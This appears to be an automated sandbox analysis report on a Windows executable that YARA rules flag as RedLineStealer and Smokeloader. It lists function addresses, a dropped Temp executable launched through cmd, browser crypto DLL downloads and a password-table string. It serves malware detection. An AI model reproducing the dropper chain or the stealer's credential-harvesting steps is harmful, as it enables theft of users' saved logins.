Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CD4B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6CD4B910
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CCEF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CCEF280

Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CCE35A0	0_2_6CCE35A0
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CD0D4D0	0_2_6CD0D4D0
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CCF64C0	0_2_6CCF64C0
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CD26CF0	0_2_6CD26CF0
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CCED4E0	0_2_6CCED4E0
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CCF6C80	0_2_6CCF6C80
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CD434A0	0_2_6CD434A0
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CD4C4A0	0_2_6CD4C4A0
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CD5545C	0_2_6CD5545C
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CCF5440	0_2_6CCF5440
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CD25C10	0_2_6CD25C10
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CD32C10	0_2_6CD32C10
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CD5AC00	0_2_6CD5AC00
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CD5542B	0_2_6CD5542B
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CD20DD0	0_2_6CD20DD0
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CD485F0	0_2_6CD485F0
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CD0ED10	0_2_6CD0ED10
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CD10512	0_2_6CD10512
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CCFFD00	0_2_6CCFFD00
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CD576E3	0_2_6CD576E3
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CCEBEF0	0_2_6CCEBEF0
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CCFFEF0	0_2_6CCFFEF0
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CD05E90	0_2_6CD05E90
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CD4E680	0_2_6CD4E680
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CD44EA0	0_2_6CD44EA0
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CD09E50	0_2_6CD09E50
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CD23E50	0_2_6CD23E50
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CD04640	0_2_6CD04640
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CD32E4E	0_2_6CD32E4E
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CD56E63	0_2_6CD56E63
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CCEC670	0_2_6CCEC670
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CD27E10	0_2_6CD27E10
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CD35600	0_2_6CD35600
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CD49E30	0_2_6CD49E30
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CD16FF0	0_2_6CD16FF0
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CCEDFE0	0_2_6CCEDFE0
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CD377A0	0_2_6CD377A0
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CD27710	0_2_6CD27710
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CCF9F00	0_2_6CCF9F00
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CD550C7	0_2_6CD550C7
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CD0C0E0	0_2_6CD0C0E0
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CD258E0	0_2_6CD258E0
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CD160A0	0_2_6CD160A0
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CD08850	0_2_6CD08850
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CD0D850	0_2_6CD0D850
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CD2F070	0_2_6CD2F070
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CCF7810	0_2_6CCF7810
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CD2B820	0_2_6CD2B820
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CD34820	0_2_6CD34820
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CD25190	0_2_6CD25190
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CD42990	0_2_6CD42990
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CD1D9B0	0_2_6CD1D9B0
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CCEC9A0	0_2_6CCEC9A0
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CD0A940	0_2_6CD0A940
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CD3B970	0_2_6CD3B970
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CD5B170	0_2_6CD5B170
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CCFD960	0_2_6CCFD960
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CD28AC0	0_2_6CD28AC0
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CD01AF0	0_2_6CD01AF0
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CD2E2F0	0_2_6CD2E2F0
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CD5BA90	0_2_6CD5BA90
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CD52AB0	0_2_6CD52AB0
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CCE22A0	0_2_6CCE22A0
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CD14AA0	0_2_6CD14AA0
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CCFCAB0	0_2_6CCFCAB0
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CD29A60	0_2_6CD29A60
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CD553C8	0_2_6CD553C8
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CCEF380	0_2_6CCEF380
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CCE5340	0_2_6CCE5340
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CCFC370	0_2_6CCFC370
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CD2D320	0_2_6CD2D320
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CDEECD0	0_2_6CDEECD0
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CD8ECC0	0_2_6CD8ECC0
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CD9AC60	0_2_6CD9AC60
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CE6AC30	0_2_6CE6AC30
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CE56C00	0_2_6CE56C00
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CF1CDC0	0_2_6CF1CDC0
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CD94DB0	0_2_6CD94DB0
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CE26D90	0_2_6CE26D90
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CE5ED70	0_2_6CE5ED70
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CEBAD50	0_2_6CEBAD50
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CF18D20	0_2_6CF18D20
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CD9AEC0	0_2_6CD9AEC0
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CE30EC0	0_2_6CE30EC0
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CE16E90	0_2_6CE16E90
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CE2EE70	0_2_6CE2EE70
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CE70E20	0_2_6CE70E20
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CE6EFF0	0_2_6CE6EFF0
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CD90FE0	0_2_6CD90FE0
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CED8FB0	0_2_6CED8FB0
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CD9EFB0	0_2_6CD9EFB0
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CE52F70	0_2_6CE52F70
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CDFEF40	0_2_6CDFEF40
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CD96F10	0_2_6CD96F10
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CED0F20	0_2_6CED0F20
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CE968E0	0_2_6CE968E0
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CE7C8C0	0_2_6CE7C8C0
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CE64840	0_2_6CE64840
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CE1A820	0_2_6CE1A820
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CDE0820	0_2_6CDE0820
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CEAC9E0	0_2_6CEAC9E0
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CDC49F0	0_2_6CDC49F0
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CE209A0	0_2_6CE209A0
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CE4A9A0	0_2_6CE4A9A0
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CE509B0	0_2_6CE509B0
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CDC8960	0_2_6CDC8960
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CDE6900	0_2_6CDE6900
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CE0EA80	0_2_6CE0EA80
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CE0CA70	0_2_6CE0CA70
Source: C:\Users\user\AppData\Local\Temp\JKJEHJKJEB.exe	Code function: 6_2_00539063	6_2_00539063
Source: C:\Users\user\AppData\Local\Temp\JKJEHJKJEB.exe	Code function: 6_2_00537830	6_2_00537830
Source: C:\Users\user\AppData\Local\Temp\JKJEHJKJEB.exe	Code function: 6_2_0053A988	6_2_0053A988
Source: C:\Users\user\AppData\Local\Temp\JKJEHJKJEB.exe	Code function: 6_2_004E1A40	6_2_004E1A40
Source: C:\Users\user\AppData\Local\Temp\JKJEHJKJEB.exe	Code function: 6_2_0053B29C	6_2_0053B29C
Source: C:\Users\user\AppData\Local\Temp\JKJEHJKJEB.exe	Code function: 6_2_0053BB06	6_2_0053BB06
Source: C:\Users\user\AppData\Local\Temp\JKJEHJKJEB.exe	Code function: 6_2_00542BD5	6_2_00542BD5
Source: C:\Users\user\AppData\Local\Temp\JKJEHJKJEB.exe	Code function: 6_2_00535C20	6_2_00535C20
Source: C:\Users\user\AppData\Local\Temp\JKJEHJKJEB.exe	Code function: 6_2_004E5500	6_2_004E5500
Source: C:\Users\user\AppData\Local\Temp\JKJEHJKJEB.exe	Code function: 6_2_0053B6D1	6_2_0053B6D1
Source: C:\Users\user\AppData\Local\Temp\JKJEHJKJEB.exe	Code function: 6_2_0053AE84	6_2_0053AE84
Source: C:\Users\user\AppData\Local\Temp\JKJEHJKJEB.exe	Code function: 6_2_00543759	6_2_00543759

Source: C:\Users\user\AppData\Local\Temp\JKJEHJKJEB.exe	Code function: String function: 00538810 appears 32 times
Source: C:\Users\user\AppData\Local\Temp\JKJEHJKJEB.exe	Code function: String function: 00539E8D appears 31 times
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: String function: 6CF109D0 appears 99 times
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: String function: 6CD1CBE8 appears 134 times
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: String function: 004043B0 appears 316 times
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: String function: 6CD294D0 appears 90 times

Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6760 -s 2252

Source: bUcIhJ4VHm.exe, 00000000.00000002.2464527693.0000000036370000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs bUcIhJ4VHm.exe
Source: bUcIhJ4VHm.exe, 00000000.00000002.2464527693.0000000036370000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs bUcIhJ4VHm.exe
Source: bUcIhJ4VHm.exe, 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs bUcIhJ4VHm.exe
Source: bUcIhJ4VHm.exe, 00000000.00000002.2465091576.000000006CF65000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs bUcIhJ4VHm.exe

Source: bUcIhJ4VHm.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000000.00000002.2443243646.0000000002F17000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.2443426909.0000000003100000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@7/43@0/2

Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe

Code function: 0_2_6CD47030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6CD47030

Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe

Code function: 0_2_00415D00 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00415D00

Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\freebl3[1].dll

Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6760
Source: C:\Users\user\AppData\Local\Temp\JKJEHJKJEB.exe	Mutant created: \Sessions\1\BaseNamedObjects\8dddf1vvvv
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5792:120:WilError_03

Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe

File created: C:\Users\user\AppData\Local\Temp\JKJEHJKJEB.exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\JKJEHJKJEB.exe	Command line argument: 8dddf1vvvv	6_2_004E2590
Source: C:\Users\user\AppData\Local\Temp\JKJEHJKJEB.exe	Command line argument: 8dddf1vvvv	6_2_004E2590
Source: C:\Users\user\AppData\Local\Temp\JKJEHJKJEB.exe	Command line argument: f1vvvv	6_2_004E2590
Source: C:\Users\user\AppData\Local\Temp\JKJEHJKJEB.exe	Command line argument: 8dddf1vvvv	6_2_004E2590

Source: bUcIhJ4VHm.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe

File read: C:\Program Files (x86)\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: bUcIhJ4VHm.exe, 00000000.00000002.2465014297.000000006CF1F000.00000002.00000001.01000000.00000007.sdmp, bUcIhJ4VHm.exe, 00000000.00000002.2454343720.000000001D232000.00000004.00000020.00020000.00000000.sdmp, bUcIhJ4VHm.exe, 00000000.00000002.2464667778.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: bUcIhJ4VHm.exe, 00000000.00000002.2465014297.000000006CF1F000.00000002.00000001.01000000.00000007.sdmp, bUcIhJ4VHm.exe, 00000000.00000002.2454343720.000000001D232000.00000004.00000020.00020000.00000000.sdmp, bUcIhJ4VHm.exe, 00000000.00000002.2464667778.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: bUcIhJ4VHm.exe, 00000000.00000002.2465014297.000000006CF1F000.00000002.00000001.01000000.00000007.sdmp, bUcIhJ4VHm.exe, 00000000.00000002.2454343720.000000001D232000.00000004.00000020.00020000.00000000.sdmp, bUcIhJ4VHm.exe, 00000000.00000002.2464667778.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: bUcIhJ4VHm.exe, 00000000.00000002.2465014297.000000006CF1F000.00000002.00000001.01000000.00000007.sdmp, bUcIhJ4VHm.exe, 00000000.00000002.2454343720.000000001D232000.00000004.00000020.00020000.00000000.sdmp, bUcIhJ4VHm.exe, 00000000.00000002.2464667778.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: bUcIhJ4VHm.exe, bUcIhJ4VHm.exe, 00000000.00000002.2465014297.000000006CF1F000.00000002.00000001.01000000.00000007.sdmp, bUcIhJ4VHm.exe, 00000000.00000002.2454343720.000000001D232000.00000004.00000020.00020000.00000000.sdmp, bUcIhJ4VHm.exe, 00000000.00000002.2464667778.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: bUcIhJ4VHm.exe, 00000000.00000002.2465014297.000000006CF1F000.00000002.00000001.01000000.00000007.sdmp, bUcIhJ4VHm.exe, 00000000.00000002.2454343720.000000001D232000.00000004.00000020.00020000.00000000.sdmp, bUcIhJ4VHm.exe, 00000000.00000002.2464667778.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: bUcIhJ4VHm.exe, 00000000.00000002.2454343720.000000001D232000.00000004.00000020.00020000.00000000.sdmp, bUcIhJ4VHm.exe, 00000000.00000002.2464667778.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: bUcIhJ4VHm.exe, 00000000.00000003.2049104531.00000000232E8000.00000004.00000020.00020000.00000000.sdmp, AAFIJKKEHJDHJKFIECAA.0.dr, HCAEGCBFHJDGCBFHDAFB.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: bUcIhJ4VHm.exe, 00000000.00000002.2454343720.000000001D232000.00000004.00000020.00020000.00000000.sdmp, bUcIhJ4VHm.exe, 00000000.00000002.2464667778.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: bUcIhJ4VHm.exe, 00000000.00000002.2454343720.000000001D232000.00000004.00000020.00020000.00000000.sdmp, bUcIhJ4VHm.exe, 00000000.00000002.2464667778.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: bUcIhJ4VHm.exe	ReversingLabs: Detection: 31%
Source: bUcIhJ4VHm.exe	Virustotal: Detection: 39%

Source: unknown	Process created: C:\Users\user\Desktop\bUcIhJ4VHm.exe "C:\Users\user\Desktop\bUcIhJ4VHm.exe"
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\JKJEHJKJEB.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\JKJEHJKJEB.exe "C:\Users\user\AppData\Local\Temp\JKJEHJKJEB.exe"
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6760 -s 2252
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\JKJEHJKJEB.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\JKJEHJKJEB.exe "C:\Users\user\AppData\Local\Temp\JKJEHJKJEB.exe"	Jump to behavior

Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Section loaded: urlmon.dll	Jump to behavior
